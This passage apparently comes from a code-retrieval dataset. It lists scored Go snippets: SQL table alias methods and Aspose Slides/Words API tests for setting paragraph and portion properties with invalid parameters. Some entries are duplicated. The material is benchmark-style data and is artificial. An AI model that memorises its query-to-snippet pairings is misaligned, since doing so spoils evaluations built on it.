{\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "3988a9372172508f66af0b8dca63d060", "score": "0.49531862", "text": "func (tbl TABLE_PROJECT_LEVEL_ENUM) As(alias string) TABLE_PROJECT_LEVEL_ENUM {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "3988a9372172508f66af0b8dca63d060", "score": "0.49531862", "text": "func (tbl TABLE_PROJECT_LEVEL_ENUM) As(alias string) TABLE_PROJECT_LEVEL_ENUM {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "7c01a9efe44373a863a315e94ef42373", "score": "0.49094278", "text": "func (b *SelectStmt) As(alias string) Builder {\n\treturn as(b, alias)\n}", "title": "" }, { "docid": "7e8f980b6794648587e8496b4f603eba", "score": "0.49084008", "text": "func (f *Function) Ident() string { return \"@\" + f.name }", "title": "" }, { "docid": "7bbc0398ea3307cf3320c3905eed90b6", "score": "0.49044997", "text": "func newFuncF32F32F32F32ToF64(varsName []string, fct interface{}) (rfunc.Formula, error) {\n\treturn &userFuncF32F32F32F32ToF64{\n\t\trvars: varsName,\n\t\tfct: fct.(func(float32, float32, float32, float32) float64),\n\t}, nil\n}", "title": "" }, { "docid": "29e649c694101b449876c029737ec864", "score": "0.48950303", "text": "func (gopt *GetOpt) Alias(alias ...string) ModifyFn {\n\tgopt.failIfDefined(alias)\n\treturn func(opt *option.Option) {\n\t\topt.SetAlias(alias...)\n\t}\n}", "title": "" }, { "docid": "c02d06a9041f21b5ef02b130ecaef28d", "score": "0.48624998", "text": "func Alias(d string) {\n\tif r, ok := relationalModelDefinition(false); ok {\n\t\tr.Alias = d\n\t} else if f, ok := relationalFieldDefinition(false); ok {\n\t\tf.Alias = d\n\t}\n}", "title": "" }, { "docid": "2193dd9fc507212e406ad210522aed40", "score": "0.48347527", "text": "func (tbl TABLE_PROJECT_CATEGORY_ENUM) As(alias string) TABLE_PROJECT_CATEGORY_ENUM {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "2193dd9fc507212e406ad210522aed40", "score": "0.48347527", "text": "func (tbl TABLE_PROJECT_CATEGORY_ENUM) As(alias string) TABLE_PROJECT_CATEGORY_ENUM {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "bb43c5ec57b271ae1425f4d7f5e5b87f", "score": "0.48292598", "text": "func (tbl TABLE_SUBMISSIONS) As(alias string) TABLE_SUBMISSIONS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "bb43c5ec57b271ae1425f4d7f5e5b87f", "score": "0.48292598", "text": "func (tbl TABLE_SUBMISSIONS) As(alias string) TABLE_SUBMISSIONS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "ea11b1c06a2240f6233a0c689e42b947", "score": "0.4810913", "text": "func (tbl TABLE_SESSIONS) As(alias string) TABLE_SESSIONS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "ea11b1c06a2240f6233a0c689e42b947", "score": "0.4810913", "text": "func (tbl TABLE_SESSIONS) As(alias string) TABLE_SESSIONS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "95cfad5a5ba62164de34423b8d79bff9", "score": "0.48001322", "text": "func newAliasExpr(alias string, expr Expr) *aliasExpr {\n\treturn &aliasExpr{alias, expr}\n}", "title": "" }, { "docid": "ff1c8ec5aad693b470b2dc1d136b856e", "score": "0.47912842", "text": "func (t Table) JoinAlias() string {\n\treturn Underscore(t.ModelName())\n}", "title": "" }, { "docid": "ef9b714534d39513b2aa1e1e4268f5f5", "score": "0.47836944", "text": "func newFuncI32F32ToF64(varsName []string, fct interface{}) (rfunc.Formula, error) {\n\treturn &userFuncI32F32ToF64{\n\t\trvars: varsName,\n\t\tfct: fct.(func(int32, float32) float64),\n\t}, nil\n}", "title": "" }, { "docid": "e7cd411337773c0fe892e3826d22d4c7", "score": "0.4781412", "text": "func (tbl TABLE_USER_ROLES_APPLICANTS) As(alias string) TABLE_USER_ROLES_APPLICANTS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "e7cd411337773c0fe892e3826d22d4c7", "score": "0.4781412", "text": "func (tbl TABLE_USER_ROLES_APPLICANTS) As(alias string) TABLE_USER_ROLES_APPLICANTS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "a3cab9d100517f691c18702897b62ec5", "score": "0.47812465", "text": "func newFuncF32F32ToF64(varsName []string, fct interface{}) (rfunc.Formula, error) {\n\treturn &userFuncF32F32ToF64{\n\t\trvars: varsName,\n\t\tfct: fct.(func(float32, float32) float64),\n\t}, nil\n}", "title": "" }, { "docid": "e2a60659cbaf08f8d0fe982a4498f9a7", "score": "0.4778015", "text": "func (t *T) F() {}", "title": "" }, { "docid": "b22ddcc8a7ae6ee74f103b3b45726458", "score": "0.476885", "text": "func Spread(field interface{}) *F {\n\treturn Func(\"SPREAD\", []interface{}{&literal{field}}...)\n}", "title": "" }, { "docid": "310d6fa1d02acb4c15cd77fbd582a4f1", "score": "0.4762609", "text": "func (t *TypeDef) As(nullable bool) string {\n\tif nullable {\n\t\treturn t.NullableType\n\t}\n\treturn t.Type\n}", "title": "" }, { "docid": "0b93bcd75757a780ab5bc3ce8add7143", "score": "0.47571725", "text": "func (info columnInfo) Alias() string {\n\treturn info.alias\n}", "title": "" }, { "docid": "cd96d67e4fe09777a6b6a34cafe9cbdb", "score": "0.47565004", "text": "func (tbl TABLE_USER_ROLES_STUDENTS) As(alias string) TABLE_USER_ROLES_STUDENTS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "cd96d67e4fe09777a6b6a34cafe9cbdb", "score": "0.47565004", "text": "func (tbl TABLE_USER_ROLES_STUDENTS) As(alias string) TABLE_USER_ROLES_STUDENTS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "1245867d1b7ffa68a15114b7d1c04d76", "score": "0.47554758", "text": "func newFuncI32I32ToF64(varsName []string, fct interface{}) (rfunc.Formula, error) {\n\treturn &userFuncI32I32ToF64{\n\t\trvars: varsName,\n\t\tfct: fct.(func(int32, int32) float64),\n\t}, nil\n}", "title": "" }, { "docid": "5594a81b4a611bc76f1d31b0b9762bb9", "score": "0.47534728", "text": "func (tbl VIEW_V_SUBMISSIONS) As(alias string) VIEW_V_SUBMISSIONS {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "3185ca1de106634a71bcaca14236087a", "score": "0.47478166", "text": "func (this *Identifier) Formalize(forbidden, allowed value.Value,\n\tkeyspace string) (Expression, error) {\n\t_, ok := forbidden.Field(this.identifier)\n\tif ok {\n\t\treturn nil, fmt.Errorf(\"Disallowed reference to alias %v.\",\n\t\t\tthis.identifier)\n\t}\n\n\t_, ok = allowed.Field(this.identifier)\n\tif ok {\n\t\treturn this, nil\n\t}\n\n\tif keyspace == \"\" {\n\t\treturn nil, fmt.Errorf(\"Ambiguous reference to field %v.\",\n\t\t\tthis.identifier)\n\t}\n\n\treturn NewField(NewIdentifier(keyspace),\n\t\t\tNewConstant(value.NewValue(this.identifier))),\n\t\tnil\n}", "title": "" }, { "docid": "1f6f585e5f628c18fceafaa7d7ad303e", "score": "0.47366977", "text": "func (f *Funcs) field(field Field) (string, error) {\n\tbuf := new(bytes.Buffer)\n\tif err := f.fieldtag.Funcs(f.FuncMap()).Execute(buf, field); err != nil {\n\t\treturn \"\", err\n\t}\n\tvar tag string\n\tif s := buf.String(); s != \"\" {\n\t\ttag = \" `\" + s + \"`\"\n\t}\n\treturn fmt.Sprintf(\"\\t%s %s%s // %s\", field.GoName, f.typefn(field.Type), tag, field.SQLName), nil\n}", "title": "" }, { "docid": "5b72136bdfa159c6c138709674f7e74a", "score": "0.47304562", "text": "func (tbl TABLE_USER_ROLES) As(alias string) TABLE_USER_ROLES {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "5b72136bdfa159c6c138709674f7e74a", "score": "0.47304562", "text": "func (tbl TABLE_USER_ROLES) As(alias string) TABLE_USER_ROLES {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "09cbb9098331b1c309bc8ce97c93e5f6", "score": "0.47216898", "text": "func (tbl TABLE_TEAMS_STATUS_ENUM) As(alias string) TABLE_TEAMS_STATUS_ENUM {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "09cbb9098331b1c309bc8ce97c93e5f6", "score": "0.47216898", "text": "func (tbl TABLE_TEAMS_STATUS_ENUM) As(alias string) TABLE_TEAMS_STATUS_ENUM {\n\ttbl.TableInfo.Alias = alias\n\treturn tbl\n}", "title": "" }, { "docid": "a6baa6d7c351cf0701749a067023799c", "score": "0.47187886", "text": "func Lf(sqlf string, args ...interface{}) sqlgen.SQL {\n\treturn sqlgen.Literal(fmt.Sprintf(sqlf, args...))\n}", "title": "" }, { "docid": "04bf9a0488a087fa47d0ba771cfa5be0", "score": "0.4711296", "text": "func TestAliasCorrectEFDBinaryXYZ(t *testing.T) {\n\tfs := efd.Select(\n\t\tWithInputSet(\n\t\t\t\"X1\", \"Y1\", \"Z1\",\n\t\t\t\"X2\", \"Y2\", \"Z2\",\n\t\t),\n\t\tWithOutputs(\n\t\t\t\"X3\", \"Y3\", \"Z3\",\n\t\t),\n\t)\n\tfor _, f := range fs {\n\t\tf := f // scopelint\n\t\tt.Run(f.ID, func(t *testing.T) {\n\t\t\tp := f.Program\n\n\t\t\t// Check if the original formula works when aliased.\n\t\t\toriginalok := true\n\t\t\tPN := NonAliasedEvaluator(t, p)\n\t\t\tPL := LeftAliasedEvaluator(t, p)\n\t\t\tif !CheckEqual(t, PN, PL) {\n\t\t\t\toriginalok = false\n\t\t\t\tt.Logf(\"mismatch: left-aliased\")\n\t\t\t}\n\n\t\t\tPR := RightAliasedEvaluator(t, p)\n\t\t\tif !CheckEqual(t, PN, PR) {\n\t\t\t\toriginalok = false\n\t\t\t\tt.Logf(\"mismatch: right-aliased\")\n\t\t\t}\n\n\t\t\t// Apply alias correction.\n\t\t\taliases := [][]ast.Variable{\n\t\t\t\t{\"X1\", \"X2\", \"X3\"},\n\t\t\t\t{\"Y1\", \"Y2\", \"Y3\"},\n\t\t\t\t{\"Z1\", \"Z2\", \"Z3\"},\n\t\t\t}\n\t\t\toutputs := []ast.Variable{\"X3\", \"Y3\", \"Z3\"}\n\t\t\tq := AliasCorrect(p, aliases, outputs, name.Uniqued(name.Temporaries()))\n\n\t\t\t// This should work when aliased.\n\t\t\tQL := LeftAliasedEvaluator(t, q)\n\t\t\tif !CheckEqual(t, PN, QL) {\n\t\t\t\tt.Errorf(\"left-aliased fails\")\n\t\t\t}\n\n\t\t\tQR := RightAliasedEvaluator(t, q)\n\t\t\tif !CheckEqual(t, PN, QR) {\n\t\t\t\tt.Errorf(\"right-aliased fails\")\n\t\t\t}\n\n\t\t\t// If the original was fine, we expect that no changes were made.\n\t\t\tif originalok && !reflect.DeepEqual(p, q) {\n\t\t\t\tt.Logf(\"original:\\n%s\", p)\n\t\t\t\tt.Logf(\"got:\\n%s\", q)\n\t\t\t\tt.Errorf(\"original was alias-safe; expect no changes\")\n\t\t\t}\n\t\t})\n\t}\n}", "title": "" }, { "docid": "2c2bd46435a4571bc404ef0b6d049cca", "score": "0.47053188", "text": "func (this *AnsiJoin) Alias() string {\n\treturn this.right.Alias()\n}", "title": "" }, { "docid": "1dd9ec6e77965382ec500915e570bf59", "score": "0.47031754", "text": "func (column *SelectColumnDefinition) SQL() (string, error) {\n\tif strings.Compare(column.Alias, \"\") == 0 {\n\t\treturn column.Expression, nil\n\t}\n\n\treturn column.Expression + \" AS \" + column.Alias, nil\n}", "title": "" }, { "docid": "57bba21573f32a79fe76d3b06e18e5dd", "score": "0.47023508", "text": "func newFuncF32sF32sF32sToF64(varsName []string, fct interface{}) (rfunc.Formula, error) {\n\treturn &userFuncF32sF32sF32sToF64{\n\t\trvars: varsName,\n\t\tfct: fct.(func([]float32, []float32, []float32) float64),\n\t}, nil\n}", "title": "" }, { "docid": "84db0be505b65f09a648746b98653a60", "score": "0.46992144", "text": "func (t *T) Alias(id string) *T {\n\tfor _, f := range t.Aliases {\n\t\tif f.Name == id {\n\t\t\treturn f.T\n\t\t}\n\t}\n\treturn nil\n}", "title": "" } ]
927c9069b8d20877410a9df802a9b534
/ ShapesApiServiceTests Updates shape properties. Test for ShapesApi.PutSetParagraphProperties method with invalid dto
[ { "docid": "3773b56a46526c5183f75b830ada9be8", "score": "0.75418514", "text": "func TestPutSetParagraphPropertiesInvaliddto(t *testing.T) {\n request := createPutSetParagraphPropertiesRequest()\n request.dto = invalidizeTestParamValue(request.dto, \"dto\", \"Paragraph\").(Paragraph)\n e := initializeTest(\"PutSetParagraphProperties\", \"dto\", request.dto)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphProperties(request)\n assertError(t, \"PutSetParagraphProperties\", \"dto\", r.Code, e)\n}", "title": "" } ]
[ { "docid": "8ce217764f98f9877d2cfd4bfcd83ed4", "score": "0.8308522", "text": "func TestPutSetParagraphProperties(t *testing.T) {\n request := createPutSetParagraphPropertiesRequest()\n e := initializeTest(\"PutSetParagraphProperties\", \"\", \"\")\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n c := getTestApiClient()\n r, _, e := c.ShapesApi.PutSetParagraphProperties(request)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n if r.Code != 200 && r.Code != 201 {\n t.Errorf(\"Wrong response code: %d.\", r.Code)\n return\n }\n}", "title": "" }, { "docid": "9f8b1ce4288983b5ad2c8ffe4385b81d", "score": "0.7966671", "text": "func TestPutSetParagraphPortionProperties(t *testing.T) {\n request := createPutSetParagraphPortionPropertiesRequest()\n e := initializeTest(\"PutSetParagraphPortionProperties\", \"\", \"\")\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n c := getTestApiClient()\n r, _, e := c.ShapesApi.PutSetParagraphPortionProperties(request)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n if r.Code != 200 && r.Code != 201 {\n t.Errorf(\"Wrong response code: %d.\", r.Code)\n return\n }\n}", "title": "" }, { "docid": "1b63103eb940fd417aa2c9f53bbe1d0a", "score": "0.74471736", "text": "func TestPutSetParagraphPropertiesInvalidshapeIndex(t *testing.T) {\n request := createPutSetParagraphPropertiesRequest()\n request.shapeIndex = invalidizeTestParamValue(request.shapeIndex, \"shapeIndex\", \"int32\").(int32)\n e := initializeTest(\"PutSetParagraphProperties\", \"shapeIndex\", request.shapeIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphProperties(request)\n assertError(t, \"PutSetParagraphProperties\", \"shapeIndex\", r.Code, e)\n}", "title": "" }, { "docid": "8b34d081513760e9c77fd0b6ee3bfd28", "score": "0.7218224", "text": "func TestPutSetParagraphPortionPropertiesInvalidshapeIndex(t *testing.T) {\n request := createPutSetParagraphPortionPropertiesRequest()\n request.shapeIndex = invalidizeTestParamValue(request.shapeIndex, \"shapeIndex\", \"int32\").(int32)\n e := initializeTest(\"PutSetParagraphPortionProperties\", \"shapeIndex\", request.shapeIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphPortionProperties(request)\n assertError(t, \"PutSetParagraphPortionProperties\", \"shapeIndex\", r.Code, e)\n}", "title": "" }, { "docid": "26d6fa5a718eb7cb931fac0f6a3d3118", "score": "0.7180747", "text": "func TestPutSetParagraphPropertiesInvalidpath(t *testing.T) {\n request := createPutSetParagraphPropertiesRequest()\n request.path = invalidizeTestParamValue(request.path, \"path\", \"string\").(string)\n e := initializeTest(\"PutSetParagraphProperties\", \"path\", request.path)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphProperties(request)\n assertError(t, \"PutSetParagraphProperties\", \"path\", r.Code, e)\n}", "title": "" }, { "docid": "6161879abeca7414baeb5d1d1db90f7a", "score": "0.7075639", "text": "func TestPutSetParagraphPropertiesInvalidparagraphIndex(t *testing.T) {\n request := createPutSetParagraphPropertiesRequest()\n request.paragraphIndex = invalidizeTestParamValue(request.paragraphIndex, \"paragraphIndex\", \"int32\").(int32)\n e := initializeTest(\"PutSetParagraphProperties\", \"paragraphIndex\", request.paragraphIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphProperties(request)\n assertError(t, \"PutSetParagraphProperties\", \"paragraphIndex\", r.Code, e)\n}", "title": "" }, { "docid": "d5330824abf16cb3e1cf5975fcf1b116", "score": "0.70399475", "text": "func TestPutSetParagraphPortionPropertiesInvaliddto(t *testing.T) {\n request := createPutSetParagraphPortionPropertiesRequest()\n request.dto = invalidizeTestParamValue(request.dto, \"dto\", \"Portion\").(Portion)\n e := initializeTest(\"PutSetParagraphPortionProperties\", \"dto\", request.dto)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphPortionProperties(request)\n assertError(t, \"PutSetParagraphPortionProperties\", \"dto\", r.Code, e)\n}", "title": "" }, { "docid": "127024f1f0378334acdaca70a263a51c", "score": "0.6990675", "text": "func TestPutSetParagraphPortionPropertiesInvalidpath(t *testing.T) {\n request := createPutSetParagraphPortionPropertiesRequest()\n request.path = invalidizeTestParamValue(request.path, \"path\", \"string\").(string)\n e := initializeTest(\"PutSetParagraphPortionProperties\", \"path\", request.path)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphPortionProperties(request)\n assertError(t, \"PutSetParagraphPortionProperties\", \"path\", r.Code, e)\n}", "title": "" }, { "docid": "8510a98eb37a8c266b615477f3e132d5", "score": "0.6838642", "text": "func TestPutSetParagraphPortionPropertiesInvalidparagraphIndex(t *testing.T) {\n request := createPutSetParagraphPortionPropertiesRequest()\n request.paragraphIndex = invalidizeTestParamValue(request.paragraphIndex, \"paragraphIndex\", \"int32\").(int32)\n e := initializeTest(\"PutSetParagraphPortionProperties\", \"paragraphIndex\", request.paragraphIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphPortionProperties(request)\n assertError(t, \"PutSetParagraphPortionProperties\", \"paragraphIndex\", r.Code, e)\n}", "title": "" }, { "docid": "60151db7bae8af82104e9773660b141f", "score": "0.67910314", "text": "func TestPutSetParagraphPropertiesInvalidname(t *testing.T) {\n request := createPutSetParagraphPropertiesRequest()\n request.name = invalidizeTestParamValue(request.name, \"name\", \"string\").(string)\n e := initializeTest(\"PutSetParagraphProperties\", \"name\", request.name)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphProperties(request)\n assertError(t, \"PutSetParagraphProperties\", \"name\", r.Code, e)\n}", "title": "" }, { "docid": "423c2780732a9e2dcd27ec35b26c8f5d", "score": "0.66763604", "text": "func TestPutSetParagraphPropertiesInvalidpassword(t *testing.T) {\n request := createPutSetParagraphPropertiesRequest()\n request.password = invalidizeTestParamValue(request.password, \"password\", \"string\").(string)\n e := initializeTest(\"PutSetParagraphProperties\", \"password\", request.password)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphProperties(request)\n assertError(t, \"PutSetParagraphProperties\", \"password\", r.Code, e)\n}", "title": "" }, { "docid": "6613eb3f04c7d39800323bdd6846ec1f", "score": "0.65650815", "text": "func TestPutSetParagraphPropertiesInvalidslideIndex(t *testing.T) {\n request := createPutSetParagraphPropertiesRequest()\n request.slideIndex = invalidizeTestParamValue(request.slideIndex, \"slideIndex\", \"int32\").(int32)\n e := initializeTest(\"PutSetParagraphProperties\", \"slideIndex\", request.slideIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphProperties(request)\n assertError(t, \"PutSetParagraphProperties\", \"slideIndex\", r.Code, e)\n}", "title": "" }, { "docid": "6745f5952df34bc2ac9f9c0758792435", "score": "0.6498589", "text": "func TestPutSetParagraphPortionPropertiesInvalidpassword(t *testing.T) {\n request := createPutSetParagraphPortionPropertiesRequest()\n request.password = invalidizeTestParamValue(request.password, \"password\", \"string\").(string)\n e := initializeTest(\"PutSetParagraphPortionProperties\", \"password\", request.password)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphPortionProperties(request)\n assertError(t, \"PutSetParagraphPortionProperties\", \"password\", r.Code, e)\n}", "title": "" }, { "docid": "d124321d445e004ec40ec8d19df259ef", "score": "0.6496697", "text": "func TestPutSetParagraphPortionPropertiesInvalidname(t *testing.T) {\n request := createPutSetParagraphPortionPropertiesRequest()\n request.name = invalidizeTestParamValue(request.name, \"name\", \"string\").(string)\n e := initializeTest(\"PutSetParagraphPortionProperties\", \"name\", request.name)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphPortionProperties(request)\n assertError(t, \"PutSetParagraphPortionProperties\", \"name\", r.Code, e)\n}", "title": "" }, { "docid": "1b785d081989bdf8f0cd0622ced556b1", "score": "0.64208275", "text": "func TestPutSetParagraphPropertiesInvalidfolder(t *testing.T) {\n request := createPutSetParagraphPropertiesRequest()\n request.folder = invalidizeTestParamValue(request.folder, \"folder\", \"string\").(string)\n e := initializeTest(\"PutSetParagraphProperties\", \"folder\", request.folder)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphProperties(request)\n assertError(t, \"PutSetParagraphProperties\", \"folder\", r.Code, e)\n}", "title": "" }, { "docid": "c4b9f1f6a775aa238887e230bac9093c", "score": "0.6380502", "text": "func TestPutSetParagraphPortionPropertiesInvalidportionIndex(t *testing.T) {\n request := createPutSetParagraphPortionPropertiesRequest()\n request.portionIndex = invalidizeTestParamValue(request.portionIndex, \"portionIndex\", \"int32\").(int32)\n e := initializeTest(\"PutSetParagraphPortionProperties\", \"portionIndex\", request.portionIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphPortionProperties(request)\n assertError(t, \"PutSetParagraphPortionProperties\", \"portionIndex\", r.Code, e)\n}", "title": "" }, { "docid": "d1773994958caddd85d726d2dc66283e", "score": "0.63776773", "text": "func TestPutSetParagraphPortionPropertiesInvalidslideIndex(t *testing.T) {\n request := createPutSetParagraphPortionPropertiesRequest()\n request.slideIndex = invalidizeTestParamValue(request.slideIndex, \"slideIndex\", \"int32\").(int32)\n e := initializeTest(\"PutSetParagraphPortionProperties\", \"slideIndex\", request.slideIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphPortionProperties(request)\n assertError(t, \"PutSetParagraphPortionProperties\", \"slideIndex\", r.Code, e)\n}", "title": "" }, { "docid": "5e39b31f14aa35c40b0befe2de82b516", "score": "0.6347041", "text": "func TestPutSetParagraphPropertiesInvalidstorage(t *testing.T) {\n request := createPutSetParagraphPropertiesRequest()\n request.storage = invalidizeTestParamValue(request.storage, \"storage\", \"string\").(string)\n e := initializeTest(\"PutSetParagraphProperties\", \"storage\", request.storage)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphProperties(request)\n assertError(t, \"PutSetParagraphProperties\", \"storage\", r.Code, e)\n}", "title": "" }, { "docid": "c1bc892fe89d73d9eaa9b27b9b15bb37", "score": "0.6226497", "text": "func TestPutSetParagraphPortionPropertiesInvalidfolder(t *testing.T) {\n request := createPutSetParagraphPortionPropertiesRequest()\n request.folder = invalidizeTestParamValue(request.folder, \"folder\", \"string\").(string)\n e := initializeTest(\"PutSetParagraphPortionProperties\", \"folder\", request.folder)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphPortionProperties(request)\n assertError(t, \"PutSetParagraphPortionProperties\", \"folder\", r.Code, e)\n}", "title": "" }, { "docid": "faba09bb05cee43753eb203e8985d5b2", "score": "0.6222629", "text": "func Test_Paragraph_UpdateParagraphFormat(t *testing.T) {\n config := ReadConfiguration(t)\n client, ctx := PrepareTest(t, config)\n remoteDataFolder := remoteBaseTestDataFolder + \"/DocumentElements/Paragraphs\"\n localFile := \"Common/test_multi_pages.docx\"\n remoteFileName := \"TestGetDocumentParagraphs.docx\"\n\n UploadNextFileToStorage(t, ctx, client, GetLocalFile(localFile), remoteDataFolder + \"/\" + remoteFileName)\n\n requestDto := models.ParagraphFormatUpdate{\n Alignment: \"Right\",\n }\n\n options := map[string]interface{}{\n \"nodePath\": \"\",\n \"folder\": remoteDataFolder,\n }\n _, _, err := client.WordsApi.UpdateParagraphFormat(ctx, remoteFileName, requestDto, int32(0), options)\n\n if err != nil {\n t.Error(err)\n }\n\n}", "title": "" }, { "docid": "f1db22ef0689c37972f9cc7f2cdf0e5f", "score": "0.6172594", "text": "func TestPutSetParagraphPortionPropertiesInvalidstorage(t *testing.T) {\n request := createPutSetParagraphPortionPropertiesRequest()\n request.storage = invalidizeTestParamValue(request.storage, \"storage\", \"string\").(string)\n e := initializeTest(\"PutSetParagraphPortionProperties\", \"storage\", request.storage)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSetParagraphPortionProperties(request)\n assertError(t, \"PutSetParagraphPortionProperties\", \"storage\", r.Code, e)\n}", "title": "" }, { "docid": "41a24a96863bc971653315d2391f8d8d", "score": "0.60933363", "text": "func TestGetShapeParagraph(t *testing.T) {\n request := createGetShapeParagraphRequest()\n e := initializeTest(\"GetShapeParagraph\", \"\", \"\")\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n c := getTestApiClient()\n r, _, e := c.ShapesApi.GetShapeParagraph(request)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n if r.Code != 200 && r.Code != 201 {\n t.Errorf(\"Wrong response code: %d.\", r.Code)\n return\n }\n}", "title": "" }, { "docid": "8e1f94320b33ae0ac91ade8b28e88289", "score": "0.598033", "text": "func Test_Paragraph_UpdateParagraphListFormat(t *testing.T) {\n config := ReadConfiguration(t)\n client, ctx := PrepareTest(t, config)\n remoteDataFolder := remoteBaseTestDataFolder + \"/DocumentElements/Paragraphs\"\n listFolder := \"DocumentElements/ParagraphListFormat\"\n remoteFileName := \"TestUpdateParagraphListFormat.docx\"\n\n UploadNextFileToStorage(t, ctx, client, GetLocalFile(listFolder + \"/ParagraphUpdateListFormat.doc\"), remoteDataFolder + \"/\" + remoteFileName)\n\n requestDto := models.ListFormatUpdate{\n ListId: int32(2),\n }\n\n options := map[string]interface{}{\n \"nodePath\": \"\",\n \"folder\": remoteDataFolder,\n }\n _, _, err := client.WordsApi.UpdateParagraphListFormat(ctx, remoteFileName, requestDto, int32(0), options)\n\n if err != nil {\n t.Error(err)\n }\n\n}", "title": "" }, { "docid": "9c7cd4b13220930bf73bb34554fcdcfa", "score": "0.5955881", "text": "func TestPutSlideShapeInfo(t *testing.T) {\n request := createPutSlideShapeInfoRequest()\n e := initializeTest(\"PutSlideShapeInfo\", \"\", \"\")\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n c := getTestApiClient()\n r, _, e := c.ShapesApi.PutSlideShapeInfo(request)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n if r.Code != 200 && r.Code != 201 {\n t.Errorf(\"Wrong response code: %d.\", r.Code)\n return\n }\n}", "title": "" }, { "docid": "2f98f11ca441cb834a9d447bcf0e340f", "score": "0.59540564", "text": "func TestPostAddNewParagraphInvaliddto(t *testing.T) {\n request := createPostAddNewParagraphRequest()\n request.dto = invalidizeTestParamValue(request.dto, \"dto\", \"Paragraph\").(Paragraph)\n e := initializeTest(\"PostAddNewParagraph\", \"dto\", request.dto)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PostAddNewParagraph(request)\n assertError(t, \"PostAddNewParagraph\", \"dto\", r.Code, e)\n}", "title": "" }, { "docid": "2ce7b3535724378a15baba03dba3558d", "score": "0.58525944", "text": "func TestPostAddNewParagraphInvalidshapeIndex(t *testing.T) {\n request := createPostAddNewParagraphRequest()\n request.shapeIndex = invalidizeTestParamValue(request.shapeIndex, \"shapeIndex\", \"int32\").(int32)\n e := initializeTest(\"PostAddNewParagraph\", \"shapeIndex\", request.shapeIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PostAddNewParagraph(request)\n assertError(t, \"PostAddNewParagraph\", \"shapeIndex\", r.Code, e)\n}", "title": "" }, { "docid": "6ac6c01b6c343d6b184d01823386b759", "score": "0.5847097", "text": "func TestDeleteParagraph(t 